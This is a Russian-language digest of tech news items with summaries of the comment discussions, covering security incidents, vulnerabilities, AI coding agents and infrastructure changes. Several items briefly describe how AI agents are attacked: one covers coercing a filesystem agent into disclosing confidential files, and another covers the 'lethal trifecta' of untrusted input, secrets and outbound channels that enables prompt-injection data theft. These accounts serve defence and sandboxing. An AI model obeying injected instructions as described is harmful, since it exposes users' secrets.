Даниель Стенберг получил от Джошуа Роджерса огромный список потенциальных уязвимостей в curl, включая более 100 потенциальных проблем. Это привело к интенсивному анализу и исправлению кода, что подчеркивает важность краудсорсинга в безопасности ПО. Команда curl оперативно реагирует на такие отчеты, укрепляя стабильность и надежность библиотеки.

Данный инцидент демонстрирует, как открытое сообщество способно эффективно выявлять и устранять риски, даже в хорошо проверенных проектах. Это также напоминает о необходимости постоянного аудита кода, особенно в критически важных инструментах, используемых повсеместно.

• Успешное применение набора AI-инструментов для поиска уязвимостей в проекте curl, что привело к множеству реальных исправлений
• Подчёркивается ценность AI не для генерации кода, а для анализа и указания на потенциально проблемные места, требующие внимания разработчика
• Обсуждение конкретных инструментов (ZeroPath, Claude Code, Cursor BugBot) и методик работы с LLM для эффективного поиска багов
• Отмечается проблема ложных срабатываний и спама от AI в прошлом, но в данном случае подход оказался эффективным
• Размышления о том, как интегрировать подобные AI-инструменты в рабочий процесс для аудита безопасности и повышения качества кода

Red Hat подтвердила инцидент безопасности после заявлений хакеров о взломе их репозиториев на GitHub. Хакеры из группы CyberNiggers утверждают, что получили доступ к внутренним системам компании через скомпрометированные токены GitHub, что позволило им скачать исходный код проприетарных проектов, включая инструменты для управления инфраструктурой. Компания заявила, что расследует ситуацию, но пока не обнаружила признаков компрометации production-среды или клиентских данных.

Инцидент подчеркивает растущие риски, связанные с утечками токенов доступа к платформам разработки. Red Hat уже отозвала затронутые учетные данные и усилила мониторинг активности. Хакеры угрожают опубликовать украденные данные, если их требования не будут выполнены, хотя конкретные детали вымогательства не раскрываются.

• Хакеры заявили, что пытались связаться с Red Hat с требованием выкупа, но получили только шаблонный ответ с инструкцией отправить отчет об уязвимости в отдел безопасности.
• Взлом произошел в экземпляре GitLab, используемом Red Hat Consulting, а не в GitHub, как изначально сообщалось.
• Участники обсуждают противоречие между официальными заявлениями Red Hat о безопасности (ISO27001) и реальной практикой хранения данных.
• Высказываются мнения, что инцидент может быть следствием бюрократии и человеческого фактора, а не политики IBM.
• Обсуждается ирония ситуации: компания, проповедующая безопасность, сама стала жертвой утечки данных.

Разработчики и менеджеры сталкиваются с этическими дилеммами, когда их просят участвовать в незаконных действиях на работе. Например, инженерный директор Nishad Singh в FTX узнал о хищении $13 млрд клиентских средств лишь за месяц до краха компании, но не предпринял активных действий, чтобы остановить мошенничество. Его пассивность привела к серьёзным последствиям, включая судебные разбирательства.

Другие инженеры в похожих ситуациях выбирали иные пути: обращались к юристам, документировали нарушения или увольнялись, чтобы избежать соучастия. Ключевой вывод — важно действовать сразу при обнаружении неэтичных практик, поскольку бездействие может сделать вас соучастником преступления.

• Обсуждение примеров неэтичных и незаконных действий в IT, включая уязвимости безопасности, мошенничество с данными и манипуляции с финансами.
• Подчеркивание важности отказа от выполнения незаконных указаний и этической ответственности разработчиков, несмотря на риск retaliation.
• Предложения по усилению защиты осведомителей, созданию кодексов этики (например, от ACM/IEEE) и ужесточению законов против retaliation.
• Отмечается сложность принятия решений из-за давления со стороны руководства, страха потерять работу и неочевидности нарушений.
• Обсуждение последствий для сотрудников, ставших свидетелями нарушений, включая стресс, увольнения и судебные разбирательства.

С января 2026 года Gmail прекратит поддержку Gmailify и POP-подключений для сторонних почтовых аккаунтов. Gmailify позволял применять функции вроде защиты от спама и категоризации входящих к другим ящикам, а POP использовался для загрузки писем без синхронизации в реальном времени.

Вместо этого Google рекомендует использовать IMAP-подключения через мобильное приложение Gmail, которое поддерживает синхронизацию нескольких аккаунтов. Ранее импортированные письма останутся доступными, но новые настройки придётся обновить вручную. Это изменение направлено на повышение безопасности и переход на современные стандарты работы с почтой.

• Пользователи выражают недовольство отключением функции POP3 в Gmail, которая позволяла получать почту с внешних серверов, что создает проблемы для миграции и резервного копирования.
• Предлагаются обходные пути: настройка пересылки (forwarding), использование IMAP через почтовые клиенты (например, Thunderbird) или переход на другие сервисы (ProtonMail, Zoho, самохостинг).
• Высказываются предположения о причинах отключения: монетизация через Google Workspace, борьба с рекламными блокировками в сторонних клиентах и общая стратегия «эншитификации» сервиса.
• Многие отмечают, что потеря POP3 ударяет по платным пользователям Google Workspace и усложняет использование дешевых почтовых хостингов с брендированными доменами.
• Обсуждение подчеркивает централизацию email-инфраструктуры вокруг крупных компаний и упадок децентрализованных протоколов.

Кодирующие агенты вроде Claude Code и Codex CLI позволяют ИИ не только писать код, но и запускать его, исправлять ошибки и экспериментировать с решениями. Ключевой навык для эффективного использования таких инструментов — проектирование агентских циклов: настройка последовательности действий, где ИИ применяет инструменты в цикле для достижения чётко сформулированной цели. Это превращает агентов в инструменты «грубой силы» для решения задач, если можно определить цель и дать нужные инструменты для итераций.

Однако такая мощь сопряжена с рисками, особенно в «YOLO-режиме», когда агент выполняет команды без подтверждения. Это может привести к удалению файлов, утечке данных или использованию машины для атак. Для снижения рисков автор рекомендует запускать агентов в песочницах (например, Docker), использовать облачные среды вроде GitHub Codespaces или полагаться на удалённые серверы, где ущерб будет ограничен. Также важно тщательно подбирать инструменты для цикла, чтобы агент мог эффективно и безопасно решать задачи.

• Предлагаются альтернативы Docker для песочниц: bubblewrap, firejail, пользовательские аккаунты, KVM и контейнеры.
• Обсуждаются принципы проектирования агентских циклов: избегание фреймворков, малое число мощных инструментов, важность человеческого контроля.
• Подчеркиваются риски безопасности YOLO-режима и необходимость изоляции (контейнеры без сети, VM) для предотвращения утечек данных.
• Отмечается эффективность асинхронных циклов (например, в Claude Code Plan mode) для выполнения задач без постоянного вмешательства.
• Упоминаются практические реализации: MCP, инструменты для работы с документами, использование checkpoint-ов и систем оркестрации.

Автор делится программными эссе, которые повлияли на его мышление за 20 лет карьеры. Среди них — «Тест Джоэла» Джоэла Спольски, который предлагает 12 вопросов для оценки качества работы команды, подчеркивая уважение к разработчикам и их времени. Эссе Алексис Кинг «Парси, а не валидируй» показывает, как использование типов данных повышает безопасность, превращая сырые строки в проверенные структуры. Фред Брукс в «No Silver Bullet» утверждает, что не существует волшебного решения сложности ПО, поскольку её корни — в сущностных, а не случайных проблемах.

Практические выводы включают выбор работодателей, ценящих разработчиков, применение строгих типов для данных и принятие неизбежной сложности инженерии. Эти идеи формируют подход к надёжности, безопасности и человеческому фактору в разработке.

• Обсуждаются влиятельные эссе и статьи о разработке ПО, включая "Parse, don't validate", "Choose Boring Technology" и анализ инцидентов с Therac-25.
• Поднимаются вопросы о качестве тестового кода: спор о допустимости логики в тестах и важности их простоты для избежания ложных срабатываний.
• Обсуждается влияние ИИ на классическую теорию Brooks'а об отсутствии "серебряной пули" и его способность снижать essential complexity.
• Упоминаются ключевые работы, повлиявшие на мышление разработчиков, такие как "Grug Brained Developer", "Code Complete" и "Don't Call Yourself A Programmer".
• Затрагивается проблема цифровой идентификации и доступа к аккаунтам в сравнении с аналоговым миром, где проще доказать свою личность.

Определить местоположение пользователя по IP-адресу в интернете — сложная задача, поскольку интернет-адреса не несут встроенной географической информации. Для создания геолокационных баз данных, которые связывают IP-адреса со странами или координатами, приходится решать множество проблем: от выбора формата представления местоположения (широта/долгота или коды стран) до определения самих понятий «страна» и её границ. Здесь помогают стандарты вроде ISO 3166 и данные ООН, но даже они не идеальны.

Такие базы критически важны для борьбы с кибератаками, защиты авторских прав и статистического анализа, например, для сравнения числа интернет-пользователей по странам. Однако источники данных разнятся: коммерческие провайдеры вроде Maxmind предлагают платные услуги, а реестры RIR (региональных интернет-регистраторов) часто неточны, поскольку фиксируют страну регистрации владельца адресов, а не реальное место их использования. Это особенно проблематично для глобальных сетей, где адреса развёрнуты в нескольких странах.

• Критика практик геолокации пользователей интернета без их согласия из-за рисков слежки и ограничения свобод
• Обсуждение проблем регулирования Starlink, который обходит национальные ограничения через реселлеров и роуминг
• Примеры использования IP-геолокации для борьбы с мошенничеством и её ограниченной точности
• Споры о доверии к технологическим компаниям vs. правительствам в вопросах регулирования и контроля данных
• Технические сложности точного определения местоположения через IP из-за прокси, VPN и схем назначения адресов

Агенты ИИ, работающие с файловой системой, представляют угрозу безопасности, особенно в облачных средах. Злоумышленник может обойти защиту на уровне приложения и заставить агента раскрыть конфиденциальные файлы через системные вызовы. Решение — изоляция на уровне ядра, где сам Linux блокирует доступ к нежелательным ресурсам.

Анализ системного вызова open в ядре Linux показывает три точки отказа: do_open (поздний отказ), link_path_walk (средний) и path_init (ранний). Контейнеризация использует эти механизмы, создавая виртуальную файловую систему и пространства имён, чтобы скрыть реальные файлы от процесса. Это надёжнее, чем полагаться на фильтрацию ввода-вывода в приложении.

• Обсуждение методов изоляции и безопасности для AI-агентов, включая контейнеризацию (runc, podman), Landlock и WebAssembly как потенциальные решения.
• Критика предложенного подхода к песочнице как избыточной или неубедительной для экспертов по безопасности, с акцентом на использование существующих проверенных библиотек и методов.
• Уточнение требований к агенту для код-ревью: доступ только к кодовой базе, истории репозитория, диффам, CI/CD логам и системам отслеживания ошибок.
• Обсуждение практических сложностей реализации, таких как неподдерживаемые системные вызовы в gVisor и необходимость баланса между производительностью и безопасностью.
• Скептицизм относительно новизны и точности объяснения автора, с замечаниями, что описанные методы (chroot) не являются полноценной песочницей или контейнеризацией.

Новая атака VMScape от ETH Zürich использует уязвимости предсказателя переходов в процессорах AMD Zen 4 и Zen 5 для утечки данных между виртуальными машинами в облачных средах. Она успешно работает против гипервизоров KVM и VMware, позволяя вредоносной гостевой VM атаковать компоненты пользовательского пространства, такие как QEMU, и извлекать конфиденциальную информацию. Это очередное проявление проблем с изоляцией в современных CPU, оптимизированных для производительности.

Xen оказался неуязвим благодаря своей микроядерной архитектуре, где гипервизор минимален, а все дополнительные сервисы, включая эмуляцию устройств, вынесены в отдельную виртуальную машину Dom0. Это решение, принятое два десятилетия назад, сократило поверхность атаки и предотвратило воздействие VMScape на критически важные компоненты. Таким образом, архитектурный выбор Xen обеспечил встроенную защиту без необходимости экстренных исправлений, в отличие от KVM и VMware.

• Архитектура Xen на микроядре с изолированным Dom0 ограничивает утечку данных при атаке vmscape только процессами внутри самого Dom0, что снижает риски.
• В отличие от KVM, где эмуляция оборудования происходит в пользовательском пространстве хоста, в Xen управление и эмуляция выделены в отдельный Dom0, что обеспечивает дополнительный уровень изоляции.
• Атака vmscape позволяет утечку данных между виртуальными машинами, но не затрагивает напрямую гипервизор Xen, так как он работает на более привилегированном уровне.
• Обсуждаются потенциальные преимущества микроядерных архитектур (например, seL4) для дальнейшего ограничения последствий побега из VM.
• Отмечается, что сама уязвимость остается на аппаратном уровне, и контейнеризация (LXC, SmartOS zones) не обязательно защищает от подобных атак.

• Обсуждается концепция "смертельной троицы" в безопасности ИИ: доступ к недоверенным данным, доступ к ценным секретам и возможность связи с внешним миром.
• Предлагаемые меры защиты включают сегментацию доступа (например, подход CaMeL с раздельными доверенной и недоверенной моделями), RBAC и существующие практики безопасности.
• Подчёркивается фундаментальная проблема: LLM не различают инструкции и данные, что аналогично уязвимости in-band signaling и делает полную защиту сложной.
• Отмечается напряжённость между безопасностью и функциональностью: изоляция ограничивает возможности систем, а спрос на мощные AI-агенты велик.
• Проводятся параллели с инженерией и критикуется подход "больше данных решит проблему", вместо которого требуется инженерное мышление и строгий контроль доступа.

Разработчики Redox OS обозначили ключевые направления развития операционной системы на ближайшие полтора года. Основной фокус — создание трёх вариантов системы: «Hosted Redox» как веб-рантайм в виртуальной машине, «Redox Server» для edge- и cloud-сред и «Redox Desktop» для повседневного использования. Приоритетами станут совместимость, производительность, безопасность, поддержка оборудования, графический стек COSMIC/Wayland и доступность.

Особое внимание уделяется превращению Redox в безопасную платформу для веб-сервисов, включая улучшения сетевого стека, интеграцию с virtiofs и virglrenderer, а также тестирование стабильности. Сообщество приглашают к участию через донаты, контрибуцию или подачу заявок на гранты — например, от NGI Zero и NLnet на реализацию сигналов Unix, асинхронного ввода-вывода и security на основе capability-модели.

• Предложение запускать Linux в QEMU для поддержки старых и редких устройств через безопасный интерфейс
• Обсуждение преимуществ (безопасность) и недостатков (производительность) размещения драйверов в пользовательском пространстве
• Критика выбора libc в качестве основного системного интерфейса и предложения по созданию стабильного API системных вызовов
• Вопросы о практической готовности системы, в частности о возможности запуска веб-браузера
• Упоминание о приоритетах проекта: «песочница по умолчанию» и развитие на основе возможностей (capability-based security)

До двух миллионов сетевых устройств Cisco уязвимы для активно эксплуатируемой уязвимости нулевого дня CVE-2025-20352. Ошибка переполнения стека в компоненте обработки SNMP позволяет удалённо вызывать отказ в обслуживании или выполнять произвольный код с правами root. Для атаки требуется знать read-only community string — часто стандартный или широко известный внутри организации пароль.

Поиск через Shodan показывает, что свыше двух миллионов интерфейсов с SNMP доступны напрямую из интернета, что резко увеличивает масштаб угрозы. Cisco рекомендует немедленно обновить прошивки, поскольку уязвимость уже используется в реальных атаках после компрометации учётных данных администраторов.

• Проблемы безопасности и стабильности SNMP: уязвимости, ошибки, приводящие к сбоям, и сложность безопасной настройки.
• Необходимость отключения или изоляции SNMP (особенно версий v1/v2c) для защиты, особенно для малых сетей, в то время как крупные операторы зависят от него для мониторинга.
• Риски использования SNMP для lateral movement внутри сети, даже если он не доступен из интернета, из-за широко распространённых небезопасных конфигураций.
• Критика Cisco и других вендоров за большое количество уязвимостей и общее снижение качества инженерной работы.
• Скептицизм относительно реального масштаба угрозы из-за низкой активности сканирования SNMP и предположения, что инцидент может быть honeypot.

Проект SonyShell позволяет получить SSH-доступ к камерам Sony DSLR через USB-соединение, превращая фотоаппарат в подобие Linux-устройства. Это открывает возможности для автоматизации съёмки, прямого управления настройками и даже запуска пользовательских скриптов прямо на камере.

Инициатива основана на обратной разработке проприетарных протоколов Sony и использует уязвимости в firmware для выполнения произвольного кода. Практический потенциал включает удалённую съёмку, пакетную обработку и интеграцию с другими системами, что особенно ценно для научных и промышленных применений.

• Обсуждение проекта для удаленного управления камерами Sony через CLI с использованием официального SDK
• Сравнение поддержки API у разных производителей (Canon, Fujifilm, Sony, Blackmagic) и критика встроенных функций Wi-Fi
• Дебаты о корректности термина "DSLR" для беззеркальных камер и предложения по переименованию проекта
• Вопросы о безопасности, функциональности (управление съемкой, передача файлов) и потенциале для модификаций
• Упоминание старых методов взлома (OpenMemories, PMCA-RE) и опыта использования Eye-Fi карт

Серверные материнские платы Supermicro уязвимы для удалённой установки вредоносного ПО в прошивку базового контроллера управления (BMC), что делает заражение практически необнаружимым и неустранимым стандартными методами. Уязвимости CVE-2025-7937 и CVE-2025-6198 позволяют обходить проверки цифровых подписей и перезаписывать firmware, которая выполняется ещё до загрузки операционной системы — даже замена дисков или переустановка ОС не очистят систему.

Эксплуатация уязвимостей требует предварительного получения контроля над BMC, что возможно через ранее описанные методы. Подобные атаки могут привести к установке стойких имплантов, аналогичных ILObleed, который безвозвратно уничтожал данные на серверах HP. Особую опасность это представляет для AI-датацентров, где массовое заражение может оставаться незамеченным долгое время.

• Участники обсуждают уязвимости BMC (базовых контроллеров управления) в серверах Supermicro и других производителей, отмечая их низкое качество ПО и наличие неисправленных уязвимостей, позволяющих удалённо прошивать прошивку.
• Подчёркивается, что BMC представляет собой серьёзный вектор атаки и должен быть изолирован в отдельной физической или логической сети без прямого доступа извне.
• Обсуждаются проблемы безопасности на уровне прошивки: отсутствие проверки подписей, возможность перепрошивки из операционной системы и сложность удаления бэкдоров без физического доступа к чипу.
• Высказывается критика в адрес производителей за отсутствие документации, открытых спецификаций и поддержки открытых альтернатив, таких как OpenBMC.
• Упоминается, что проблема не нова и ранее обсуждалась в контексте спорной статьи Bloomberg о предполагаемых аппаратных закладках китайского происхождения в серверах Supermicro.

GrapheneOS разработала hardened malloc — аллокатор памяти с акцентом на безопасность для защиты от уязвимостей, связанных с повреждением памяти. Он использует расширенное адресное пространство в 48 бит вместо стандартных 39 бит в Android, что увеличивает энтропию ASLR до 33 бит. Это позволяет эффективнее изолировать структуры данных и выделения памяти через mmap, усложняя атаки.

Аллокатор применяет строгие меры защиты: размещает небольшие объекты в отдельных регионах с защитными страницами, добавляет канарейки для обнаружения переполнений и использует рандомизацию размещения метаданных. Эти механизмы значительно затрудняют эксплуатаюцию уязвимостей, таких как переполнение буфера или использование-after-free, делая GrapheneOS одной из самых защищённых мобильных ОС.

• Критика "усиленных" аллокаторов: снижают производительность, не предотвращают удаленное выполнение кода и их возможности часто преувеличивают.
• Предложение альтернативы: Apple kalloc_type с MTE и аппаратными изменениями для обеспечения целостности памяти.
• Упоминание другого подхода: аллокатор Solaris SPARC ADI.
• Отмечено, что решения от Apple более впечатляющие и продемонстрировали влияние на известные эксплойты.

• Обсуждаются вопросы стоимости и ценовой политики Klavis, в частности, сравнение с конкурентами и оправданность цены за количество вызовов инструментов.
• Поднимаются проблемы безопасности и рисков, связанных с использованием множества инструментов MCP, особенно в корпоративной среде, и необходимость контроля и аудита.
• Рассматриваются технические аспекты архитектуры Klavis Strata, такие как поэтапное руководство для агентов для избежания перегрузки и снижения задержек.
• Упоминаются сложности с внедрением и доверием, включая запросы на соответствие стандартам (например, SOC2) и проблемы с проверкой сторонних MCP-серверов.
• Обсуждаются интеграция и удобство использования, включая поддержку аутентификации, пользовательских заголовков и возможность самостоятельного хостинга.

GitHub Actions добавили поддержку YAML-якорей, что автор считает серьёзной ошибкой. Якоря избыточны: ту же функциональность можно реализовать через встроенные механизмы вроде workflow-level env, которые прозрачнее и логичнее в архитектуре. Они вводят ненужную сложность, нарушая локальность — теперь элементы могут зависеть от частей конфигурации в совершенно другом месте файла, что усложняет чтение и анализ.

Кроме того, якоря усугубляют проблемы безопасности: инструментам сложнее анализировать workflows, так как нарушается соответствие между исходным YAML и объектной моделью. Это мешает точно отслеживать уязвимости, например утечки секретов. GitHub не реализовал ключи слияния (merge keys), единственный сценарий, где якоря могли бы быть оправданы, что делает их поддержку бессмысленной и вредной.

• Внедрение YAML-якорей в GitHub Actions оценивается положительно для устранения дублирования в конфигурациях, но критикуется за использование нестандартного синтаксиса, усложняющего анализ.
• Высказываются предложения заменить YAML на полноценный язык программирования для определения пайплайнов, чтобы улучшить тестируемость, локальную разработку и избежать сложностей шаблонизации.
• Поднимаются проблемы безопасности из-за неявного распространения переменных окружения (включая секреты) при использовании якорей и слияния объектов, что противоречит принципу минимальных привилегий.
• Отмечается, что текущие ограничения GitHub Actions (например, отсутствие фильтрации путей для workflow_call) вынуждают пользователей создавать костыльные решения или полагаться на сторонние инструменты.
• Обсуждаются компромиссы между декларативным и императивным подходами: одни предпочитают чистый YAML для читаемости, другие генерируют его из кода для удобства поддержки сложных логик.

HackerOne — это платформа для координации программ bug bounty, где компании платят исследователям за обнаружение уязвимостей в их системах. Для полноценной работы сайта требуется включенный JavaScript в браузере, так как многие интерактивные функции, включая отправку отчетов и взаимодействие с интерфейсом, зависят от него.

Без JavaScript пользователь не сможет получить доступ к основному функционалу, включая просмотр программ, отправку отчетов об уязвимостях и управление профилем. Это стандартная практика для современных веб-приложений, обеспечивающая безопасность и удобство использования.

• Пользователи обсуждают волну бесполезных AI-генерируемых отчетов об уязвимостях (например, для cURL), которые тратят время разработчиков.
• Высказываются опасения, что в будущем AI сможет генерировать более правдоподобные, но все же ложные доказательства концепций (PoC).
• Предлагаются решения для борьбы со спамом: платный депозит за отправку отчета, баны, фильтрация по эмодзи и другим признакам AI-текста.
• Обсуждается негативное влияние AI на качество кода, ревью и общую культуру разработки, а также возможные скрытые мотивы таких атак.
• Отмечается профессиональная реакция мейнтейнера (badger) на некорректный отчет и ссылки на соответствующие доклады Дэниела Стенберга о проблеме.

Технология eSIM, упрощая подключение к сотовым сетям без физической SIM-карты, создаёт серьёзные риски приватности и безопасности. Исследование показывает, что трафик пользователей travel-eSIM часто маршрутизируется через сторонние сети, включая китайскую инфраструктуру, независимо от реального местоположения — это подвергает данные юрисдикционному воздействию и потенциальному наблюдению.

Продавцы eSIM получают доступ к конфиденциальным данным пользователей, могут удалённо управлять устройствами и назначать публичные IP без ведома владельцев. Также обнаружены операционные риски: сбои удаления профилей и их блокировка. Рекомендации включают усиление прозрачности, контроля пользователя и регулирования, особенно с ростом распространения eSIM в смартфонах и IoT.

• Исследование выявило проблемы с маршрутизацией данных через третьи страны (например, Гонконг) и доступом реселлеров к конфиденциальной информации пользователей при использовании туристических eSIM.
• Многие пользователи критикуют eSIM за сложность переноса между устройствами по сравнению с физическими SIM-картами и потенциальные ограничения со стороны операторов.
• Обсуждаются риски безопасности, включая возможные скрытые уязвимости eSIM, что подтверждается строгими ограничениями на их использование в таких странах, как Китай.
• Отмечается, что многие проблемы (маршрутизация, конфиденциальность) связаны не с технологией eSIM как таковой, а с бизнес-моделями MVNO и реселлеров.
• В качестве решений для защиты данных при использовании eSIM предлагается использовать VPN (например, WireGuard) и выбирать проверенных провайдеров.

• Ruby Central предприняла резкие действия по ограничению доступа к инфраструктуре RubyGems из-за требований спонсора, угрожавшего отозвать финансирование из-за проблем с безопасностью цепочки поставок.
• Сообщество раскритиковало Ruby Central за катастрофически плохую коммуникацию, отсутствие предупреждения и прозрачности в процессе принятия решений, что привело к потере доверия.
• Действия были технически оправданы необходимостью безопасности, но метод исполнения (внезапный "переворот" без консультаций) признан неудачным и враждебным по отношению к добровольным maintainer'ам.
• Под вопросом остаётся независимость некоммерческой организации, которая оказалась под давлением крупных доноров, и её способность управлять критической инфраструкцией сообщества.
• Сообщество призывает к извинениям, восстановлению доверия через честный диалог и выработке более прозрачных процессов управления, чтобы избежать раскола в будущем.

UUIDv7, новая версия универсального уникального идентификатора на основе временных меток, появится в PostgreSQL 18. Она решает ключевые проблемы традиционных UUID: отсутствие сортируемости и низкую локальность индексов. В отличие от UUIDv4 со случайной структурой, UUIDv7 содержит временной компонент, что обеспечивает последовательную вставку в B-деревья и снижает фрагментацию. Это особенно полезно для распределенных систем, где клиенты генерируют ID без координации с сервером.

Хотя размер UUID остаётся 128-битным (больше, чем INT или BIGINT), современные CPU эффективно обрабатывают такие значения через SIMD-инструкции. Важно использовать бинарное представление UUID, а не строковое, для оптимизации производительности. UUIDv7 также подходит для публичных идентификаторов, так как их сложно угадать, в отличие от автоинкрементных чисел. Это делает его идеальным выбором для шардированных баз данных и сред с минимальной серверной координацией.

• Обсуждаются проблемы безопасности UUIDv7 из-за экспозиции времени создания в публичных идентификаторах, что может упростить угадывание соседних записей.
• Предлагаются решения для сокрытия времени создания на границе API, например, преобразование UUIDv7 в UUIDv4 или шифрование временной метки.
• Отмечается, что 62 бита случайности в UUIDv7 при наличии лимита запросов обеспечивают достаточную безопасность для большинства веб-приложений.
• Поднимается вопрос о негативном влиянии UUID (по сравнению с последовательными целыми числами) на производительность БД из-за отсутствия оптимизаций для последовательных ключей.
• Утверждается, что безопасность не должна зависеть от формата первичного ключа, а проблемы угадывания ID указывают на ошибки в проектировании системы.

Многие ошибочно полагают, что TXT-записи в DNS ограничены 255 байтами, но на самом деле лимит определяется размером DNS-пакета. Для UDP это около 1232 байт, а при использовании TCP можно передавать до 64 КБ данных. Это демонстрируется через сервис Google Public DNS с JSON API, где большие изображения передаются в бинарном виде без кодирования Base64 для экономии места.

Такой подход позволяет обходить традиционные ограничения и может иметь последствия для безопасности, так как злоумышленники могут использовать DNS для туннелирования крупных payload прямо в браузер. Низкое значение TTL (10 секунд) предотвращает засорение кэшей, но теоретически его увеличение превратило бы DNS-резолверы в бесплатный распределённый CDN.

• Использование DNS в качестве транспортного механизма для передачи данных (изображений, HTML, видео) и обхода ограничений или платы за трафик.
• DNS-туннелирование (например, с помощью проекта Iodine) позволяет создавать каналы связи через порт 53, часто открытый в фаервллах.
• Техника может использоваться для эксфильтрации данных, обхода captive-порталов и межсетевых экранов, но современные системы защиты научились это детектировать и блокировать.
• Существуют технические ограничения (размер записи ~64KB), которые обходятся с помощью множественных TXT-записей или использования TCP.
• Обсуждение носит исследовательский и экспериментальный характер, мотивированный любопытством и желанием обойти ограничения.

GitHub Actions начинает процесс отказа от Node 20, так как его поддержка завершится в апреле 2026 года. Планируется переход на Node 24 осенью 2025 года. Сейчас последняя версия раннера поддерживает обе версии, но по умолчанию используется Node 20. Для тестирования Node 24 можно установить переменную окружения FORCE_JAVASCRIPT_ACTIONS_TO_NODE24=true.

С 4 марта 2026 года раннеры перейдут на Node 24 по умолчанию. Чтобы продолжить использовать Node 20 после этой даты, нужно установить ACTIONS_ALLOW_USE_UNSECURE_NODE_VERSION=true, но это будет работать только до лета 2026 года, когда Node 20 окончательно удалят. Node 24 несовместим с macOS 13.4 и ниже, а также не поддерживает ARM32, что повлияет на самохостинг. Разработчикам действий и пользователям рекомендуется обновить конфигурации и рабочие процессы соответственно.

• Пользователи выражают недовольство частыми устареваниями (deprecations) и проблемами совместимости в GitHub Actions, особенно с версиями Node.js (пропуск версии 22, переход на 24) и действиями (например, actions/checkout).
• Обсуждаются проблемы безопасности из-за уязвимостей в устаревших версиях Node.js в раннерах GHA, что может привести к компрометации репозиториев и инфраструктуры.
• Предлагаются альтернативы: использование самодельных скриптов для установки Node.js, упаковка действий в Docker-контейнеры или переход на самописные раннеры (например, github-act-runner) для большего контроля.
• Критикуется привязка к проприетарному сервису (GHA) для обеспечения долгосрочной стабильности сборок; предлагается выносить логику сборки в собственные скрипты (Makefile).
• Отмечаются проблемы с экосистемой Node.js: медленная адаптация зависимостей к новым LTS-версиям и отсутствие расширенной поддержки старых ОС со стороны провайдеров.

Obsidian минимизирует риски цепочек поставок, сознательно сокращая зависимости от стороннего кода. Приложение переиспользует или форкает небольшие модули, а для крупных библиотек вроде pdf.js или Mermaid использует версионно зафиксированные файлы с редкими обновлениями после тщательного тестирования. Это создаёт мелкую и контролируемую структуру зависимостей.

Все зависимости жёстко закреплены через lock-файлы, исключены пост-установочные скрипты, а обновления проводятся медленно и вручную — с изучением изменений, проверкой подзависимостей и тестами. Такой подход снижает вероятность попадания вредоносных обновлений и даёт время на обнаружение проблем до релиза.

• Пользователи выражают обеспокоенность уязвимой моделью безопасности плагинов Obsidian, которые имеют полный доступ к файлам.
• Обсуждается компромисс между использованием зависимостей и безопасностью: одни выступают за минимализм, другие — за осторожное обновление.
• Многие отмечают, что пост Obsidian игнорирует риски, связанные с плагинами, которые являются ключевой особенностью продукта.
• Высказывается критика в адрес Electron-архитектуры приложения из-за её ресурсоёмкости и потенциальных уязвимостей.
• Предлагаются альтернативы с меньшим количеством зависимостей и более нативными решениями, такие как Zim или Emacs.

iTerm2 расширяет возможности терминала, добавляя встроенный веб-браузер, который интегрируется в стандартную иерархию окон, вкладок и разделённых панелей. Для активации нужно установить плагин и создать профиль с типом «Web Browser». Навигация и управление окнами работают аналогично терминальным сессиям, включая горячие клавиши, но с особенностями: например, ⌘-[ и ⌘-] выполняют навигацию «назад/вперёд», а не переключение панелей.

Браузер поддерживает умное выделение текста, режим копирования, поиск с регулярными выражениями, интеграцию с ИИ для обсуждения страниц и приватный режим /dev/null. Есть блокировка рекламы, поддержка прокси и менеджеров паролей. Дополнительные функции включают закладки, запись сессий, глобальный поиск и автоматизацию через триггеры и сниппеты. Это позволяет работать с веб-контентом прямо в терминале, сохраняя привычный интерфейс.

• Пользователи обсуждают новую функцию веб-браузера в iTerm2, отмечая её необычность и потенциальную полезность для интеграции терминала и браузера.
• Некоторые выражают скепсис, задаваясь вопросом о необходимости функции и предпочитая традиционные текстовые браузеры (например, lynx).
• Поднимаются вопросы технической реализации, ограничений Apple (например, отсутствие поддержки passkeys) и проблем с настройкой/отображением функции.
• Высказывается благодарность разработчику iTerm2 за качественный продукт и постоянные инновации, несмотря на наличие экстравагантных функций.
• Обсуждаются корпоративные сценарии использования, вопросы безопасности и потенциальные угрозы от запуска браузера внутри терминала.

Nostr — это открытый децентрализованный протокол для передачи информации, построенный на криптографически подписанных заметках. Каждая заметка создаётся пользователем с помощью приватного ключа и публикуется на ретрансляторах (relays), которые служат распределёнными узлами хранения. Клиенты подключаются к множеству ретрансляторов, что обеспечивает устойчивость и независимость от единого центра управления.

Протокол не навязывает идеологию «свободы слова», вместо этого позволяя каждому ретранслятору устанавливать свои правила модерации, а пользователям — выбирать, что и откуда читать. Nostr поддерживает разнообразные применения: от микроблогов и обмена медиа до децентрализованных рынков, систем совместной работы и даже стриминга. Экосистема активно развивается, предлагая инструменты для создания собственных ретрансляторов и клиентов.

• Критика криптографической безопасности протокола Nostr: уязвимости в аутентификации ключей и проверке подписей, что может позволить атаки типа "человек посередине".
• Отсутствие единой модели федерации релеев: клиенты должны подключаться к множеству релеев для обмена сообщениями, что усложняет пользовательский опыт и разработку.
• Проблема спама и злоупотреблений: отсутствие механизмов противодействия массовой генерации ключей и автоматизированному спаму, а также распространение незаконного контента.
• Смешение философских и технических аспектов: сложность восприятия из-за сочетания политических заявлений ("аполитичный", "про-цензура") с техническими деталями протокола.
• Фрагментация стандартов (NIP) и клиентов: множество реализаций и отсутствие строгой стандартизации затрудняют adoption и создают путаницу для пользователей.

Когда на macOS включен FileVault, том с данными остается заблокированным до ввода пароля при загрузке, что делает SSH недоступным, так как его конфигурация хранится на этом томе. Однако если активирована опция Remote Login, можно аутентифицироваться по паролю через SSH даже в заблокированном состоянии, что позволяет удаленно разблокировать диск.

После успешной аутентификации система ненадолго разрывает SSH-соединение, пока монтирует том и запускает зависимые сервисы, после чего полноценный доступ возобновляется. Эта функция, появившаяся в macOS 26 Tahoe, полезна для администрирования устройств без физического присутствия.

• В macOS 26 Tahoe появилась возможность удалённой разблокировки зашифрованного тома (FileVault) по SSH до входа в систему, что решает давнюю проблему для удалённых серверов на Mac.
• Пользователи подтверждают работоспособность функции: после перезагрузки можно подключиться по SSH, ввести учётные данные для разблокировки, после чего соединение разрывается, и система завершает загрузку.
• Функция высоко оценена корпоративными пользователями и администраторами, так как позволяет использовать Mac mini в стойках и ЦОД без необходимости физического доступа для ввода пароля после сбоя питания.
• Обсуждаются технические детали реализации: использование системного тома (read-only), перезагрузка пользовательского пространства после разблокировки для избежания race condition.
